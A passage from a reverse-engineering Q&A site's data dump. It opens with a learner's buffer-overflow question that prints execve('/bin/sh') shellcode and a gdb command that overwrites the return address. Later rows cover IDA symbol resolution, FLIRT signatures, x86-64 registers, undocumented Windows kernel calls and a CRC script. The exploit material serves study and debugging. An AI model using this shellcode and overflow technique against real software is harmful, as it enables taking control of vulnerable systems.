&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Spawnshell.o is tested on my system and works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Written in more compact form:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05&#xA;  - 27 bytes&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now I would expect that I should be able to inject this at the beginning of my buffer, pad the remaining buffer with &quot;A&quot;'s and then again overwrite the instruction pointer in the end:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb$ r $(python -c 'print &quot;\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05&quot; + A&quot;*(264-27) + &quot;\x7f\xff\xff\xff\xd8\xc0&quot;[::-1]')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I do this something else that I don't understand happens: I end up somewhere in the __strcpy_sse2_unaligned function at the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;__strcpy_sse2_unaligned+551&amp;gt; movdqu xmm1,XMMWORD PTR [rsi]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and a segfault:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Stopped reason: SIGSEGV&#xA;__strcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/strcpy-sse2-unaligned.S:296&#xA;296 ../sysdeps/x86_64/multiarch/strcpy-sse2-unaligned.S: No such file or directory.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So my interpretation is, that the strcpy function is choking on something, even before I get to overwrite the %rip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is it, or how do I go about finding out what the problem is?&lt;/p&gt;&#xA;" OwnerUserId="26013" LastEditorUserId="26013" LastEditDate="2018-10-22T18:41:17.343" LastActivityDate="2018-10-22T18:50:36.777" Title="Payload in simple buffer overflow exploit redirecting %rip on x86-64 Ubuntu 16.04 LTS leads to early (meaning before %rip is overwritten) segfault" Tags="|buffer-overflow|x86-64|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19686" PostTypeId="1" CreationDate="2018-10-22T15:33:15.690" Score="1" ViewCount="238" Body="&lt;p&gt;OllyDbg has this nice feature to find the OEP called SFX: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ET6IF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ET6IF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA has the universal PE Unpacker plugin but it works a little bit different. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What is the OllyDbg SFX Feature equivalent in IDA Pro to find the OEP?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="21430" LastActivityDate="2018-10-22T15:33:15.690" Title="What is the OllyDbg SFX Feature equivalent in IDA Pro to find the OEP?" Tags="|ida|ollydbg|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19688" PostTypeId="1" AcceptedAnswerId="19692" CreationDate="2018-10-22T16:40:23.730" Score="0" ViewCount="1399" Body="&lt;p&gt;I have an ELF 32-bit binary and it is a stripped binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet, when I load with IDA Pro, I can see the function names like write, open, malloc and so on. So, I am trying to understand if the binary is stripped, then why am I still able to see these function names?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Output of file command for the binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), stripped&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example of a code section from the binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:080485D0                 push    offset asome_string ; &quot;[ some string ]\n&quot;&#xA;.text:080485D5                 call    sub_80483F0&#xA;&#xA;&#xA;.text:080483F0 buf             = dword ptr  4&#xA;.text:080483F0&#xA;.text:080483F0                 sub     esp, 0Ch&#xA;.text:080483F3                 sub     esp, 4&#xA;.text:080483F6                 sub     esp, 8&#xA;.text:080483F9                 push    [esp+18h+buf]&#xA;.text:080483FD                 call    sub_8049EA0&#xA;.text:08048402                 add     esp, 0Ch&#xA;.text:08048405                 push    eax             ; n&#xA;.text:08048406                 push    [esp+14h+buf]   ; buf&#xA;.text:0804840A                 push    1               ; fd&#xA;.text:0804840C                 call    _write&#xA;.text:08048411                 add     esp, 10h&#xA;.text:08048414                 add     esp, 0Ch&#xA;.text:08048417                 retn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the above code section, sub_80483F0 is a subroutine which takes one argument. This subroutine will then call sub_8049EA0 to calculate the length of the buffer and then write the buffer to stdout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, _write is a symbol which was resolved by IDA Pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How did IDA Pro resolve _write?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see the _write is defined inside the .plt section of the ELF as shown below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.plt:08048330 _write          proc near               ; CODE XREF: sub_80483F0+1Cp&#xA;.plt:08048330                 jmp     ds:write_ptr&#xA;.plt:08048330 _write          endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It has a jump stub which points to write_ptr&lt;/p&gt;&#xA;&#xA;&lt;p&gt;write_ptr is inside the .got.plt which I think will be populated with the correct value of the function pointer at runtime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the question is, if the binary is stripped then shouldn't it have prevented IDA Pro from displaying the function name, _write in the first place?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2673" LastActivityDate="2018-10-22T19:44:37.947" Title="IDA Pro is showing Function names for a Stripped Binary" Tags="|ida|elf|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19691" PostTypeId="2" ParentId="19685" CreationDate="2018-10-22T18:50:36.777" Score="1" Body="&lt;p&gt;Good lord, I messed up the quotations: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;[...] x57\x48\x89\xe6\xb0\x3b\x0f\x05&quot; &lt;strong&gt;+ A&quot;*&lt;/strong&gt;(264-27) + &quot;\x7f\x [...]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Voting to close/delete - sorry.&lt;/p&gt;&#xA;" OwnerUserId="26013" LastActivityDate="2018-10-22T18:50:36.777" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19692" PostTypeId="2" ParentId="19688" CreationDate="2018-10-22T19:37:00.243" Score="2" Body="&lt;p&gt;&lt;code&gt;write&lt;/code&gt; is a function that is imported from one of your system modules.&#xA;Because it has to be imported, the name should be available in your binary, and ida uses this to automatically name the stub that calls the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a little experiment, try: &lt;code&gt;objdump -T yourfile&lt;/code&gt;, and you should see something like the following (from a dummy x64 binary):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objdump -T test&#xA;&#xA;test:     file format elf64-x86-64&#xA;&#xA;DYNAMIC SYMBOL TABLE:&#xA;0000000000000000      DF *UND*  0000000000000000  GLIBC_2.2.5 write&#xA;0000000000000000      DF *UND*  0000000000000000  GLIBC_2.2.5     __libc_start_main&#xA;0000000000000000  w   D  *UND*  0000000000000000              __gmon_start__&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or even simpler:&#xA;&lt;code&gt;strings yourfile&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="26082" LastEditorUserId="26082" LastEditDate="2018-10-22T19:44:37.947" LastActivityDate="2018-10-22T19:44:37.947" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19693" PostTypeId="1" AcceptedAnswerId="19694" CreationDate="2018-10-22T21:34:14.390" Score="12" ViewCount="16957" Body="&lt;p&gt;I am currently learning reverse engineering and am studying the flags register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had in my mind that &lt;code&gt;rflags&lt;/code&gt; was just another name for one of the 16 general purpose registers, for example &lt;code&gt;rax&lt;/code&gt; or &lt;code&gt;rbx&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it looks like &lt;code&gt;rflags&lt;/code&gt; is actually an additional register. So that makes 17 registers in total... how many more could there be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have spent at least an hour on this and found numerous different answers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best answer so far is &lt;a href=&quot;https://www.quora.com/How-many-registers-does-a-x86-64-processor-have/answer/Hanno-Behrens-2&quot; rel=&quot;noreferrer&quot;&gt;this&lt;/a&gt;, which says that there are 40 registers in total.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;16 General Purpose Registers&lt;/li&gt;&#xA;&lt;li&gt;2 Status Registers&lt;/li&gt;&#xA;&lt;li&gt;6 Code Segment Registers&lt;/li&gt;&#xA;&lt;li&gt;16 SSE Registers&lt;/li&gt;&#xA;&lt;li&gt;8 FPU/MMX Registers&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But if I add that up, I get 48.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anybody provide an official answer on how many registers an &lt;code&gt;x86_64&lt;/code&gt; CPU has (e.g. an Intel i7).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, I have seen references to 'hardware' and 'architectural' registers. What are those registers and how many are there?&lt;/p&gt;&#xA;" OwnerUserId="26084" LastEditorUserId="2147" LastEditDate="2018-10-23T06:28:34.137" LastActivityDate="2021-02-10T18:26:47.003" Title="How many registers does an x86_64 CPU actually have?" Tags="|assembly|register|x86-64|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19694" PostTypeId="2" ParentId="19693" CreationDate="2018-10-22T22:45:20.910" Score="11" Body="&lt;p&gt;Wikipedia has a page about the x86 architecture and &lt;a href=&quot;https://en.wikipedia.org/wiki/X86#x86_registers&quot; rel=&quot;noreferrer&quot;&gt;all its known registers&lt;/a&gt;. Here is a small picture gathering all what we know about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4GBdc.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4GBdc.png&quot; alt=&quot;amd64 Registers&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, not all these registers are officially documented. But, all the registers we know (and we know how to use) are listed in the picture. And, it makes much more than 40.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, I do not know what are these 'hardware' or 'architectural' registers, because for me they are all 'hardware' (not software simulated). And, what we call a CPU architecture is also including the list of available hardware registers. So, up to my knowledge, they are all both hardware and architectural registers.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Note that most of the registers are specialized and have been introduced to support a specific instruction set (the best example are the FPU registers ST0-ST7, introduced to support floating point computation).&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2018-10-23T07:43:23.157" LastActivityDate="2018-10-23T07:43:23.157" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19695" PostTypeId="1" CreationDate="2018-10-22T22:54:15.223" Score="1" ViewCount="490" Body="&lt;p&gt;I have a statically linked binary which is stripped. When I load it in IDA Pro, I don't see the function names as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I generated the sig file for libc on the Linux machine on which the program was compiled and then used this sig file in IDA Pro, most of the function names are resolved, however few functions are still not resolved. I want to know the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Why are some function names not resolved even though I have used the sig file for libc from the machine on which the program was compiled?&lt;/li&gt;&#xA;&lt;li&gt;How do I resolve all the function names?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have marked the functions in the disassembly below which I hope to resolve using the sig file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push    rbp&#xA;mov     rbp, rsp&#xA;sub     rsp, 20h&#xA;mov     [rbp+var_14], edi&#xA;mov     [rbp+var_20], rsi&#xA;mov     [rbp+var_8], 0&#xA;mov     [rbp+var_4], 0&#xA;lea     rax, [rbp+var_8]&#xA;mov     rsi, rax&#xA;mov     edi, offset unk_4937E4&#xA;mov     eax, 0&#xA;call    sub_407FF0  // should be scanf function&#xA;mov     edx, [rbp+var_8]&#xA;mov     eax, [rbp+var_8]&#xA;imul    eax, edx&#xA;mov     [rbp+var_4], eax&#xA;mov     eax, [rbp+var_4]&#xA;mov     esi, eax&#xA;mov     edi, offset aTheResultIsD ; &quot;the result is: %d\n&quot;&#xA;mov     eax, 0&#xA;call    sub_407EC0 // should be printf function&#xA;mov     eax, 0&#xA;leave&#xA;retn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Specifically, the functions, scanf and printf.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, to generate the sig file, I used flair tools of IDA Pro and on the Linux machine, I generated using the following commands:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./pelf /usr/lib/x86_64-linux-gnu/libc.a libc.pat&#xA;&#xA;./sigmake libc.pat libc.sig&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;from the exc file generated by sigmake, I removed the first 4 lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;;--------- (delete these lines to allow sigmake to read this file)&#xA;; add '+' at the start of a line to select a module&#xA;; add '-' if you are not sure about the selection&#xA;; do nothing if you want to exclude all modules&#xA;&#xA;__iswctype                                          32 49F3 31C04885F674498B0E89FAD3EA3B5604733E83C2058B149685D274348B4E0841&#xA;__iswctype_l                                        32 49F3 31C04885F674498B0E89FAD3EA3B5604733E83C2058B149685D274348B4E0841&#xA;&#xA;__chk_fail                                          00 0000 4883EC08BF........E8............................................&#xA;__stack_chk_fail                                    00 0000 4883EC08BF........E8............................................&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then, ran sigmake once again to generate the sig file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./sigmake libc.pat libc.sig&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, I placed this sig file inside the sig folder of IDA Pro and applied the signature (Shift + F5 in IDA pro). Now, 783 functions were resolved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in the main subroutine, &lt;code&gt;scanf&lt;/code&gt; and &lt;code&gt;printf&lt;/code&gt; functions are still not resolved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone wants to take a look at the statically compiled binary, I have uploaded it here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.sendspace.com/file/j9piey&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.sendspace.com/file/j9piey&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2673" LastEditorUserId="18317" LastEditDate="2018-10-23T00:20:20.590" LastActivityDate="2018-10-24T10:17:34.960" Title="Unable to resolve the symbols for a statically linked binary in IDA Pro" Tags="|ida|elf|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19696" PostTypeId="2" ParentId="19693" CreationDate="2018-10-22T23:01:49.480" Score="8" Body="&lt;p&gt;I believe the discrepancy between 40 and actual sum of 48 is mostly an error, however there are many other registers used for handling hardware, memory management, and control of different features of the CPU. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer you linked to covers all the commonly used registers in the following image (taken from there):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/s3uPi.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/s3uPi.png&quot; alt=&quot;commonly used registers&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are, however plenty of less commonly known registers. Those registers are not likely used by user mode programs but used to control and initialize the processor and low-level constructs the CPU is aware of. They control CPU subsystems such as the MMU unit, task scheduling, etc. Documentation of those registers can be found in the &lt;a href=&quot;https://support.amd.com/techdocs/24593.pdf&quot; rel=&quot;noreferrer&quot;&gt;AMD64 Architecture Manual&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see most of them in the following figure, taken from the &lt;a href=&quot;https://support.amd.com/techdocs/24593.pdf&quot; rel=&quot;noreferrer&quot;&gt;AMD64 Architecture Manual&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qK2sg.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qK2sg.png&quot; alt=&quot;system registers&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not in the above picture is the new Extended Control Registers family of registers, for which only &lt;code&gt;XCR0&lt;/code&gt; is currently defined. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The System Registers are part of the Model Specific Registers that, as the name implied, are model specific. The variety also changes between CPUs. A full list for the AMD64 architecture can be found in &quot;Appendix A MSR Cross-Reference&quot; of the &lt;a href=&quot;https://support.amd.com/techdocs/24593.pdf&quot; rel=&quot;noreferrer&quot;&gt;AMD64 Architecture Manual&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There are &lt;em&gt;extensions&lt;/em&gt; that certain AMD64 based CPUs support/implement that extend the set of &lt;code&gt;XMM&lt;/code&gt; registers available. The &lt;code&gt;XMM&lt;/code&gt; (and later &lt;code&gt;YMM&lt;/code&gt; and &lt;code&gt;ZMM&lt;/code&gt;) are currently extended to up to 32 registers of 512 bit each in &lt;a href=&quot;https://en.wikipedia.org/wiki/Advanced_Vector_Extensions#AVX-512&quot; rel=&quot;noreferrer&quot;&gt;AVX-512&lt;/a&gt;. Similar to general registers, &lt;code&gt;XMM&lt;/code&gt; registers allow access to the lower parts of their &lt;code&gt;YMM&lt;/code&gt; and &lt;code&gt;ZMM&lt;/code&gt; counterparts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are additionally what's called &quot;memory mapped registers&quot; which basically means those registers are accessed through memory operations instead of designated instructions. They can be, depending on your definition, countered as registers. One such example is the &quot;APIC Registers&quot; described in section 16.3.2 of the AMD64 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are even internal registers that are not exposed through the instruction set but are used for performance reasons.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-10-23T01:18:16.227" LastActivityDate="2018-10-23T01:18:16.227" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19697" PostTypeId="1" CreationDate="2018-10-22T23:04:27.877" Score="1" ViewCount="645" Body="&lt;p&gt;In the core my question is about how to reverse engineer undocumented functions.&#xA;I want to call the function &quot;xxxMouseEventDirect&quot; (located in win32kfull.sys). I have already been able to collect some information for this, but now I am a bit stuck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The call hierarchy is as follows:&#xA;NtUserSendInput -&gt; xxxSendInput -&gt; xxxMouseEventDirect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NTSTATUS __fastcall* xxxMouseEventDirect (ULONG dx, ULONG dy, ULONG mouseData, ULONG dwFlags, ULONGLONG time, ULONGLONG extraInfo, ULONGLONG, ULONG);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am relatively sure that I call the function parameters correctly, but there is still a blue screen when I call the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bluescreen occurs like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov rax, qword ptr [win32kfull!_imp_gptiCurrent (fffffbe9`4c720ec0)]&#xA;mov r14, qword ptr [rax]&#xA;cmp qword ptr [r14+1B0h], rcx ; &amp;lt;--- Bluescreen because r14 == 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I call NtUserSendInput, rax points to a pointer which is then used via [r14+1B0h].&#xA;When I call xxxMouseEventDirect directly, rax points to 0, causing [r14+1B0h] to cause a blue screen.&#xA;I now wonder what is stored in win32kfull!_imp_gptiCurrent and why it is not there when I call xxxMouseEventDirect directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am relatively new in the field of reverse engineering and would like to know how to deal with such a problem in general. Concrete tips are of course also very welcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you &lt;/p&gt;&#xA;" OwnerUserId="26085" LastActivityDate="2018-10-22T23:04:27.877" Title="Calling undocumented kernel functions directly (xxxSendInput and xxxMouseEventDirect)" Tags="|windows|kernel-mode|winapi|kernel|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19699" PostTypeId="2" ParentId="19628" CreationDate="2018-10-23T12:05:52.723" Score="3" Body="&lt;p&gt;Here's the rest of the function where the crash happens:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_KiUserApcDispatcher@16 proc near&#xA; lea     eax, [esp+2DCh]&#xA; mov     ecx, large fs:0&#xA; mov     edx, offset _KiUserApcExceptionHandler@16 ; KiUserApcExceptionHandler(x,x,x,x)&#xA; mov     [eax], ecx&#xA; mov     [eax+4], edx&#xA; mov     large fs:0, eax&#xA; pop     eax&#xA; lea     edi, [esp+0Ch]&#xA; call    eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, &lt;code&gt;edi&lt;/code&gt; is intialized from &lt;code&gt;esp&lt;/code&gt;, so the crash likely happens because of &lt;em&gt;wrong esp&lt;/em&gt; after the call. Now, let's check the API headers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WINBASEAPI&#xA;DWORD&#xA;WINAPI&#xA;QueueUserAPC(&#xA;    _In_ PAPCFUNC pfnAPC,&#xA;    _In_ HANDLE hThread,&#xA;    _In_ ULONG_PTR dwData&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;code&gt;PACPFUNC&lt;/code&gt; is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef&#xA;VOID&#xA;(NTAPI *PAPCFUNC)(&#xA;    _In_ ULONG_PTR Parameter&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;NTAPI&lt;/code&gt; is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define NTAPI __stdcall&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;__stdcall&lt;/code&gt; functions are responsible for cleaning up the stack from their incoming arguments, and since our function accepts one argument of type &lt;code&gt;ULONG_PTR&lt;/code&gt; (a pointer, so 4 bytes), it must &lt;em&gt;clean up the stack at return&lt;/em&gt; , i.e. use &lt;code&gt;retn 4&lt;/code&gt; instead of just &lt;code&gt;retn&lt;/code&gt; which is enough for &lt;code&gt;__cdecl&lt;/code&gt; functions.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-10-23T12:05:52.723" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19702" PostTypeId="2" ParentId="19684" CreationDate="2018-10-23T16:47:40.137" Score="5" Body="&lt;p&gt;The answer turns out to be very simple, &lt;a href=&quot;https://stackoverflow.com/questions/2587766/how-is-a-crc32-checksum-calculated&quot;&gt;once you understand what CRC is&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's similar to a CRC -- the checksum is the remainder when dividing the input by the polynomial with truncated representation &lt;code&gt;0x000201&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote a quick Python script to validate checksum:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def crc(data, poly):&#xA;    # width = 24 bit&#xA;    # data len = 2048 bit&#xA;    assert poly&amp;lt;(1&amp;lt;&amp;lt;24)&#xA;    for i in range(2048-1,24-1,-1):&#xA;        if data&amp;gt;&amp;gt;i&amp;amp;1:&#xA;            data^=1&amp;lt;&amp;lt;i&#xA;            data^=poly&amp;lt;&amp;lt;(i-24)&#xA;    assert i==24&#xA;    assert data&amp;lt;(1&amp;lt;&amp;lt;24)&#xA;    return data&#xA;&#xA;import sys&#xA;for line in sys.stdin.read().splitlines():&#xA;    line = int(line,16)&#xA;    print(crc(line&amp;gt;&amp;gt;24,0x000201) == line&amp;amp;~(-1&amp;lt;&amp;lt;24))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tio.run/##7V3rbhu7Ef7PpzBQ4MABkoD3SxHnUQrw2iMgdQLbRXv@9NXTmSFXkhMfHyeOE1vkLrKSlsPhXL4ZcoeS8@mPm98/XqrPn0ttZ/kqn5d4E1@fffr44Y9Xf2dncPzt7D@7cvP72cWZ1GdpdzNuIt3Zh3qJ97n2@5Z4fV2vbojBu3Px7p3Ur@h@@3h1tjvbXZ5dxct/1nPs80a8lhoub8QYCo9dI9bv3@9@E4e7eODtf1wAy90dt2m8d@e7N9t4Q47dxYXUxzeQ/JZgV/Xm31eXdJ@x3b8@fQSi6z@uGQr8YXdZUWb4/Pb6puwu317VWM5fvb3@9GF3g63X50N2Ir0A4ptzfPta2M7@0xXeQsvi7ffvpX7N/8s5l1y8Oru4oH6//e/8TZfo1efPfB3r4GyZ4OcexhmuhBaQmKzOuhkOZ@D@of2tuH1K3s97D2yOplB/bY0ttm39os5RRICBgwbnnZYZiKQzTsOrh3vSGngXnKLBa0nQuThkkq1AOhVBreQyDgAC3dWWsM2ZO9sK9YM24K7wvjW9Re05WgdSCGexpSToU/d9jlqwj8E@oJcWjjvoi9LbCjyzCxzvGNvgmrtOtkIf5Rxop10kXTPqaDUZqtkqHdmhQj@Dd4FTw6sLyGtIt5fbKVlxdKPBcgJ7Am/RLcc3ecSQGaxLFs0WLd5QFpIDqRv0q@gJePUgp0JaB1doMdCj@6aRPpbugH7gGZQlDX8hjcHRSXOSGzjpYY8A/cJBJq9lqI3RgNCVRCu9I6kKprJOZhhiQAOEUdCx4dC9FWCGcLE4QGdsHYoC9JxUkoe7wEcPJWEMMrpECuAECgLv7q6jMdAsg9ORg5AD8BLEA6Ugl5DqgpQOYBIDTuEaMA@yDUk3LTsENucMyQbUgYZM212qBcpAzkfn6R4aKBNwrPh@445A7O0cYzxAlJstpFwHFdjxlmNJa9JPkcU6yFQH9mY70DegRchheuvlJPFC2yUKXZKeuG@hi5BTNgEQOL0zBGjsUTr80NbYT1Ylc/COKaGkUkorgx5QXgUtvvcs9fv7/qjzechAIFcUgYAscn@EaM3gBnQHd@BYcJIGp0KKgFwcXFT8V/jCiaiUZ8v5Mzr/cHovBYdssEAwMQjwjKIIdlfDWs/Pc/ikfGxsxfLLjuXHnrDCbTmy5YC5J7asc6iOLRDMvbox0dYo2JoM5oahUlbGzBYI5s5FjedkLFsumHuBbEywVbIFgrmfkrjWQXG2QDD56iipYH/@EnGtCZ4XDKtJsii2QDB3LpJCeP9zJ4XlgOcXDM3ln103WDB4TjKUiN7QOZf487LBmg6eJwyz0lUZtkAwdy4qJcn4c8pHCwTPd0KCJWJJni0HzD0tKpWEe@qN5oeo/tQgWRC4TwavjXZPWzdYk8HzB2L0oT7pDuNywEsIhiqCecKtpQWCl5ERuZWQEdiaCuYGoRA26h9fPloOeFnBwK0QNT8BDEpc2eDlgJHzBjMDO8UYWA@pD5dBtgKzAltROPejsldVmB@ZDdbS8CXCsNbkf2D5aIHgZeYimWL1iS0HzP2wrGIR7cdMCgsELzcjauWNDWxNBnPDEAzC82OzwQLBS89FTdqmHrensBzw8oNBcuvSY759tBxwCsFgm0hKPQoG/butKxu8aDC24tX37zAu85/GxOhDzfx7v4S2HHAqweBV8eH7HhgXCE4oI6ZQ6/csEZcDTikYXJAlfns2WA44rWCAXNCqYSsXzA3F1Az0YMsBc69MXC6@fRsMlgNOLxhUyS1/yw/bFwhOMSOakqLxbLlg7kkpZnhQeHj5aIHgRHNiyCo/9IFxOeBUgyHkHB/4i@YFgtPNiCZo1cIDYfA8foKygPDj7SAaV/kh/5/CMv8p50RVqgqVLRDMvTpyopoHPDAuF5x2OCgXtPurtcECwannRPyPGs39X0ldDjj9YAgm3v87hQWCGTIiq